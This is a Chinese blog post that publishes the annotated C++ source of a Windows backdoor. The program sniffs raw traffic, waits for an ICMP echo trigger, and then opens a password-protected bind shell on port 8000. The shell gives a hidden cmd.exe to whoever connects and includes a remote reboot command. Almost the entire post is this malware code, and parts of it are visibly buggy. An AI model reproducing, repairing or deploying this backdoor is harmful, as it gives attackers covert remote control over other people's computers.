簡單後門 c++版 當年LION寫 現詳細註釋

//////////////////////////////////////////////////////////////////////////
//simple door
//二〇一零年 二月四號
//author: LION  
//路子註釋
//廣西桂林 EST
//////////////////////////////////////////////////////////////////////////
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <Ws2tcpip.h>
#include <windows.h>
#include <MSTCPIP.h>
//////////////////////////////////////////////////////////////////////////
#pragma  comment(lib,"wsock32")
//////////////////////////////////////////////////////////////////////////
#define  ICMP_ECHO 8           //ICMP 回顯請求報文類型爲8
#define  ICMP_ECHOREPLY 0      //ICMP 回顯應答報文的類型值爲0
#define  SNIFFER_ICMP_SIZE 101 //監聽ICMP包的大小
#define  BIND_PORT  8000       //默認bind shell 端口
#define  MAX_PACKET 10000      //最大ICMP包的大小
#define  DEF_PASSWORD "shandongluzi"//默認密碼
#define  xmalloc(s)   HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s))
//////////////////////////////////////////////////////////////////////////
//定義IP首部
//////////////////////////////////////////////////////////////////////////
typedef struct iphdr
{
//  類型          變量名稱  解釋                       字節數
        unsigned char h_verlen;//4位首部長度 4位IP版本號   1
        unsigned char tos;     //8位服務類型TOS            1
        unsigned short total_len;//16位總長度(字節)      2
        unsigned short ident;   //16位標識                 2
        unsigned short frag_and_flags;//3位標誌位          2
        unsigned char  ttl;     //8位生存時間TTL           1
        unsigned char  proto;   //8位協議                  1
        unsigned short checksum;//16位IP首部校驗和         2
        unsigned int   sourceIP;//32位IP地址               4
        unsigned int   destip;  //32位目的IP地址           4
}IPHeader;                  //IP首部長度爲 20


//////////////////////////////////////////////////////////////////////////
//定義ICMP首部
//////////////////////////////////////////////////////////////////////////
typedef struct _ihdr
{
        unsigned char  i_type;//8位類型    1
        unsigned char  i_code;//8位代碼    1
        unsigned short i_cksum;//16位校驗和 2
        unsigned short i_id;//識別號(用進程號作爲識別) 2
        unsigned short i_seq;//報文序列號  2

}ICMPHeader;//ICMP首部長度爲 8

//////////////////////////////////////////////////////////////////////////
//函數定義
//////////////////////////////////////////////////////////////////////////
int  sniffer();//監聽ICMP大小
//簡單SNIFFER
void decode_sniffer(char *,int ,struct sockaddr_in *);
int  binshell();//綁定shell
DWORD dwBufferlen[10];  //緩衝區
DWORD dwBufferlnlen=1;  //緩衝長度
DWORD dwBytesReturned=0;//返回長度
HANDLE bindthread;      //句柄
//DOOR 主函數
//////////////////////////////////////////////////////////////////////////
int main()
{
        WSADATA wsaData;//定義數據
        int     retval;//返回值
        //SOCKET 初始化
        if ((retval=WSAStartup(MAKEWORD(2,2),&wsaData))!=0)
        {
     printf("WSASTARTUP failed:%d/n",retval);
         exit(-1);
        }
        //sniffer開始
        sniffer();
        //socker 結束
        WSACleanup();
        
        return 0;
}
//////////////////////////////////////////////////////////////////////////
//sniffer 函數
//////////////////////////////////////////////////////////////////////////
int sniffer()
{
int packsize=SNIFFER_ICMP_SIZE;//ICMP 包的大小
SOCKET sockersniffer;          //socket
struct sockaddr_in  fro; //原IP
struct sockaddr_in  des; //目的IP
struct hostent *hp; //本機IP  
int    sread; //讀取
int    fromlen=sizeof(fro);//原IP長度
unsigned char LocalName[256];//本地名
char   *recvbuf;//接收數據
//////////////////////////////////////////////////////////////////////////
//創建一個原始socket,接受所有接受的包
if ((sockersniffer=WSASocket(AF_INET,SOCK_RAW,IPPROTO_IP,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET)
{

        printf("wsasocket error %d/n",WSAGetLastError());
        return -1;
}
//獲取本地地址
gethostname((char*)LocalName,sizeof(LocalName)-1);
if((hp=gethostbyname((char*)LocalName))==NULL)
{
        return -1;
}
//////////////////////////////////////////////////////////////////////////
//初始化DES目的IP
memset(&des,0,sizeof(des));
memset(&des.sin_addr.S_un.S_addr,(int)hp->h_addr_list[0],hp->h_length);
//////////////////////////////////////////////////////////////////////////
//tcp嗅探選項
des.sin_family=AF_INET;
des.sin_port=htons(8000);
//////////////////////////////////////////////////////////////////////////
//socket bind
bind(sockersniffer,(PSOCKADDR)&des,sizeof(des));
//////////////////////////////////////////////////////////////////////////
//設置socket爲接受所有包
WSAIoctl(sockersniffer,SIO_RCVALL,&dwBufferlnlen,sizeof(dwBufferlnlen),&dwBufferlen,sizeof(dwBufferlen),&dwBytesReturned,NULL,NULL);
//分配scoket接受緩衝區大小爲MAX_PACKET
recvbuf=(char*)xmalloc(MAX_PACKET);
printf("sinffer ok/n");
while(1)
{
       //讀數據
           sread=recvfrom(sockersniffer,recvbuf,MAX_PACKET,0,(struct sockaddr*)&fro,&fromlen);
           //////////////////////////////////////////////////////////////////////////
           //讀取數據出錯
           if(sread==SOCKET_ERROR || sread <0)
           {
                         //超時 繼續
                if(WSAGetLastError()==WSAETIMEDOUT)
                                {
                 continue;
                                }
                                printf("recvfrom failed :%d/n",WSAGetLastError());
                                return -1;
           }
       else
                     if (sread >=28)
                         {//////////////////////////////////////////////////////////////////////////
                          //如果讀到數據的大小==監聽包的大小+28
                                 if(sread==packsize+28)
                                 {//將接受到的數據交給sniffer解釋程序處理
                                         decode_sniffer(recvbuf,sread-28,&fro);
                                 }
                                 
                         }
                         return 1;
}
}
//////////////////////////////////////////////////////////////////////////
//簡單的sniffer解包程序
void decode_sniffer(char *buf, int bytes, struct sockaddr_in * from)
{
        //ICMP包
        ICMPHeader *icmphdr;
        //icmp首部地址等於BUF+IP首部長度 buf+20
    icmphdr=(ICMPHeader *)(buf+sizeof(IPHeader));
        //簡單判斷如果爲ICMP請求包
        if(icmphdr->i_type==ICMP_ECHO)
        {
                //bind shell
                binshell();
        }
        else
                printf("/r/nGEt others packets!");
        return;

}
//////////////////////////////////////////////////////////////////////////
//bind shell
int binshell()
{
        int bport=BIND_PORT;//綁定端口
    SOCKET binserver,getclient;//客戶端 和服務器
        struct sockaddr_in addrserver,addrClient;//客戶端和服務器
        //////////////////////////////////////////////////////////////////////////
        //定義各種字符
        char   Buffer[4096];
        char   *Message="/r luzi EST/r/n";
        char   *getpass="/r enter password";
        char   *passok="/r/nok! enter ";
        char   *nothispass="/r/n sorry password is wrong/n";
        char   *exitok="/r/nExit ok/n";
        char   *rebook="/r/n Reboot now!/r/n";
        //////////////////////////////////////////////////////////////////////////
    //創建一個socket
        binserver=socket(AF_INET,SOCK_RAW,IPPROTO_IP);
        //服務器地址和端口制定
        addrserver.sin_family=AF_INET;
        addrserver.sin_port=htons(bport);
        addrserver.sin_addr.S_un.S_addr=ADDR_ANY;
        //設置超時
        int timeout=60000;
    setsockopt(binserver,SOL_SOCKET,SO_RCVTIMEO,(CHAR *)&timeout,sizeof(timeout));
        //設置重複利用端口
        UINT bRetUser=1;
        setsockopt(binserver,SOL_SOCKET,SO_REUSEADDR,(CHAR *)&bRetUser,sizeof(bRetUser));
        //監聽端口
        bind(binserver,(struct sockaddr *)&addrserver,sizeof(addrserver));
        listen(binserver,2);
        printf("/r/n bind port on %d ok/n",bport);
        //接受客戶端連接
        int ilen=sizeof(addrClient);
        //接受1次連接
        getclient=accept(binserver,(struct sockaddr *)&addrClient,&ilen);
        if(getclient!=INVALID_SOCKET)
        {
     //如果有連接進來設置延時爲60S
                int itimeout=60000;
                setsockopt(getclient,SOL_SOCKET,SO_RCVTIMEO,(char *)&itimeout,sizeof(itimeout));
        }
        else
        {
                return -1;
        }
        //寫歡迎信息
        send(getclient,Message,strlen(Message),0);
        //寫密碼驗證信息
    send(getclient,getpass,strlen(getpass),0);
        //接受數據
        recv(getclient,Buffer,1024,0);
        //驗證密碼
        if(!(strstr(Buffer,DEF_PASSWORD)))
        {
     //如果密碼錯誤,寫密碼錯誤信息
                send(getclient,nothispass,strlen(nothispass),0);
                printf("/r/n password not ghist");
                closesocket(getclient);
                closesocket(binserver);
                return -1;
        }
    //寫通過驗證信息
        send(getclient,passok,strlen(passok),0);
        //建立兩個匿名管道
        HANDLE HReadpipe1,hWritePipe1,Headpipe2,Hwritepipe2;
        unsigned long lBytesRead;
        SECURITY_ATTRIBUTES sa;
        sa.nLength=12;
        sa.lpSecurityDescriptor=0;
        sa.bInheritHandle=TRUE;
        //創建PIPE
        CreatePipe(&HReadpipe1,&hWritePipe1,&sa,0);
        CreatePipe(&Headpipe2,&Hwritepipe2,&sa,0);
        STARTUPINFO siinfo;
        char cmdline[]="cmd.exe";
        //////////////////////////////////////////////////////////////////////////
        PROCESS_INFORMATION processinformation;
        ZeroMemory(&siinfo,sizeof(siinfo));
        siinfo.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
        siinfo.wShowWindow=SW_HIDE;
        siinfo.hStdInput=Headpipe2;//讀socket寫入PIPE2的數據
        siinfo.hStdOutput=siinfo.hStdError=hWritePipe1;//寫數據
        printf("/r/ncreata pipe ok/n");
        //////////////////////////////////////////////////////////////////////////
        //創建一個cmd進程 由HREADPIPE2讀數據 向HWRTIEPIPE1 寫數據
        int bread=CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&siinfo,&processinformation);
        while (1)
        {
                //檢查管道是否有數據返回
                int ret=PeekNamedPipe(HReadpipe1,Buffer,1024,&lBytesRead,0,0);
                if(lBytesRead)
                {
                        //從管道HREADPIPE1讀數據
                        ret=ReadFile(HReadpipe1,Buffer,lBytesRead,&lBytesRead,0);
                        if(!ret) break;
                        //把管道HEADPIPE1讀到的數據寫如GETCILENT中
                        ret=send(getclient,Buffer,lBytesRead,0);
                        if(ret<=0) break;
                }
                else
                {

                        //如果連接getclient有接受到數據
                        lBytesRead=recv(getclient,Buffer,1024,0);
                    if (lBytesRead<=0) break;
                        //把從連接getclient讀到的數據寫入hwitre2
                        ret=WriteFile(Hwritepipe2,Buffer,lBytesRead,&lBytesRead,0);
                        if(lBytesRead>4 && Buffer[0]=='e' && Buffer[1]=='x' && Buffer[2]=='i' && Buffer[3]=='t')
                        {
                                //寫退出信息
                                send(getclient,exitok,strlen(exitok),0);
                                closesocket(getclient);
                                closesocket(binserver);
                                return -1;
                        }
                        else
                        {

                                if(lBytesRead>6 && Buffer[0]=='r' && Buffer[1]=='e'&& Buffer[2]=='b'&& Buffer[3]=='o'&&Buffer[4]=='t')
                                {

                                        //寫重啓
                                        send(getclient,rebook,strlen(rebook),0);
                                        closesocket(getclient);
                                        closesocket(binserver);
                                        ExitWindowsEx(EWX_REBOOT,NULL);
                                        return 1;
                                }
                                 if(!ret) break;
                        }
                    

                }
         closesocket(getclient);
                 closesocket(binserver);
                 return 1;
        }

return 0;
}
發佈了15 篇原創文章 · 獲贊 20 · 訪問量 29萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章